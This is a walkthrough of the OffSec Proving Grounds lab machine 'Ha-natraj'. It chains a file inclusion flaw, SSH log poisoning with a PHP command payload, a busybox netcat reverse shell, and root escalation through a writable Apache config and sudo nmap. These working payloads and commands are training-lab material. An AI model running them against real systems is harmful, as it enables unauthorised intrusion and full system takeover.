OffSec PG — Ha-natraj Walkthrough

Antonio

5 min read

·

5 days ago

--

Listen

Share

Machine details

• Title: Ha-natraj
• Author: Hacking Articles
• Difficulty: Easy
• Community Rating: Hard
• Flags: 2 (user and root)

Recon and Enumeration

Let’s start doing a simple scan with nmap

nmap <MACHINE-IP>

Press enter or click to view image in full size

As nmap only revealed SSH port and http, the webport should be our priority, as there is a possibility to gather interesting info (I did another scan and only found two ports, this port 720 might be a false positive)

The index shows an amazing website with a gallery talking about Natraj (I liked this design)

Also, if we scroll a little bit we can read his history

Press enter or click to view image in full size

I will make a dictonary with this index page just in case, with cewl

cewl http://192.168.160.80/ -w natraj

As this is a static webpage, lets try to find any directory that might be hidden on this server, I recommend using the seclists wordlist

gobuster dir -u http://192.168.160.80/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt

Press enter or click to view image in full size

The console directory seems interesting, let’s visit it

It has just a file.php, clicking on the file seems to be a blank page

As the name says file.php, maybe there is a parameter named ‘file’ to read files? Let’s try this

http://192.168.160.80/console/file.php?file=/etc/passwd

Press enter or click to view image in full size

This is great news! we can use this to read other files on the machine, and also we can find two users at the home directory: natraj and mahakal

Additionally, we can read the SSH logs, which is located on /var/log directory

http://192.168.160.80/console/file.php?file=/var/log/auth.log

I did a little test to see if we can read the latest logs

Press enter or click to view image in full size

To my surprise, it works pretty well!

This confirms the machine is vulnerable to log poisoning, we will create a user with a php code

However, as ssh does not allow writing like PHP code as a user, we may need to use another way to ‘log-in’, we will use a python script. Make sure you install the module paramiko, i will name this script as ssh.py

import paramiko

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('<THE-VICTIM-IP-GOES-HERE>', username='<?php system($_GET["cmd"]); ?>', password='bar') 

Now we will execute the python script

python3 ssh.py

It will trigger an error because we got a wrong password, but that’s not a problem, if we check out the logs and put a cmd parameter for example ‘whoami’, we can acheive RCE

http://192.168.160.80/console/file.php?file=/var/log/auth.log&cmd=id

We can see the response (www-data) is from the server, let’s create a reverse shell so we can input commands to this machine!

First, setup a netcat listener

nc -lvnp 1234

The cmd parameter we will connect to our machine, this is the cmd command

busybox nc <YOUR-IP-HERE> -e /bin/bash

http://192.168.160.80/console/file.php?file=/var/log/auth.log&cmd=busybox nc <YOUR-IP-HERE> -e /bin/bash

You can see we perfectly receive the connection and also the commands works as well

Finally, let’s upgrade this shell to a interactive one, following these commands

BASH=/bin/bash script -q /dev/null
$ bash
export TERM=xterm

Now, we can background this session using Ctrl + Z and execute this command. execute one command by one

stty -echo raw;fg;reset xterm
clear

You have gotten a completely interactive shell, we can now do some fun stuff! :D

In the /var/www directory, we can get the user flag

Press enter or click to view image in full size

Privilege escalation

I checked sudo -l to see if we can execute any command as root

Press enter or click to view image in full size

Looking for interesting files, the apache2.conf is writable for us. We will edit the file so we can set the user and group to mahakal

Press enter or click to view image in full size

Save the changes, and before you use systemctl to restart apache2 as root, make sure there is a web shell on the /var/www/html folder

My personal choice: use the phpmonkey rev shell

You just have to change those two lines

$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

After we do the command as root, and make a new reverse shell we can notice the change to the user mahakal

Also, we can use nmap as root

Press enter or click to view image in full size

Searching on GTFOBins, we can read files with nmap

Press enter or click to view image in full size

I will read the root flag with nmap

sudo nmap -iL /root/proof.txt

Press enter or click to view image in full size

But we can get even a root shell using a script, on this blog post shows some payloads

thanks for refabr1k for sharing his knowledge! Please check his webpage :D

echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse

Press enter or click to view image in full size